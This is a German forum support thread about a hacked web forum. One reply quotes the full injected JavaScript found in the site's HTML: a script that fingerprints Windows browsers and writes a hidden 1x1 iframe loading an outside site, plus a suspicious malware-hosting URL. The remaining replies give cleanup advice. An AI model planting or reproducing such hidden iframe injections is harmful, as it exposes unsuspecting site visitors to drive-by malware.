Admin-Bereich verschwunden, Schriftgröße verändert, HILFE !

[Miriam]

Da ist ein Virus oder irgendweine malware am Werke... Dein HTML Code startet so:

Code: Alles auswählen

<script type="text/javascript">function get_cookie(Name) {    var search = Name + "=";    var returnvalue = "";    if (document.cookie.length > 0) {        offset = document.cookie.indexOf(search);        if (offset != -1) {             offset += search.length;            end = document.cookie.indexOf(";", offset);            if (end == -1)            end = document.cookie.length;            returnvalue=unescape(document.cookie.substring(offset, end));        }    }    return returnvalue;}function set_cookie(name, value) {    var cxdate = new Date();    cxdate.setYear(2024);    cxdate.setMonth(3);    cxdate.setDate(3);    document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) {    document.write('<iframe frameborder=0 height=1 width=1 scrolling=no src="http://www.hausauto.de/index.php"> </iframe>');    set_cookie('toppedup', '1010101');}</script>

Ausserdem wurde noch irgendwie die Seite dnsl.game-host.org/datawap.php?pagd verlinkt, da steckt aber scheinbar ein Virus dahinter.


Check mal deinen lokalen Rechner und lade das virenfreie Backup der Scripte auf den Web- Server.

[cpg]

Moin,

vor allen Dingen sollte die Seite vom Netz, wenn der Schaden noch nicht behoben worden ist.

Gruß
CPG

[steloX]

wo kommt dieses script her, die overall header ist sauber und eine esluze.exe koennen wir auch nicht auf dem server finden ....

der tip, mal eben alles wegzuwerfen ist nicht so gut fuer uns ... gibt es noch andere hilfreiche?

nein, aufgrund von arbeitsueberlastung gibt es natuerlich kein aktuelles backup

danke.

steloX --> admin numero 2

[cpg]

Moin,

der tip, mal eben alles wegzuwerfen ist nicht so gut fuer uns ... gibt es noch andere hilfreiche?

nein, aufgrund von arbeitsueberlastung gibt es natuerlich kein aktuelles backup

Ein wenig wundert mich das schon. Was würdet ihr machen, wenn bei diesen Temperaturen die Heizung ausfällt?
Ungefähr damit ließe sich die Situation eures Forums vergleichen. Da würde es auch kein "keine Zeit" geben.
Das Betreiben eines Forums beinhaltet eine gewisse Verantwortung für die Nutzer. Wenn man die aus zeitlichen oder anderen Gründen vollkommen ausschließen muss, dann, ja dann...

Es sind doch schon Hinweise gekommen. Also würde ich die wichtigen Dateien (config.php nicht vergessen) sichern, dann auf dem Server alles löschen und am besten das Forum neu aufsetzen.
... oder eben die gesicherten Dateien mit einem Virenscanner durchgehen, wie es ein paar Threads vorher schon vorgeschlagen wurde.

Gruß
CPG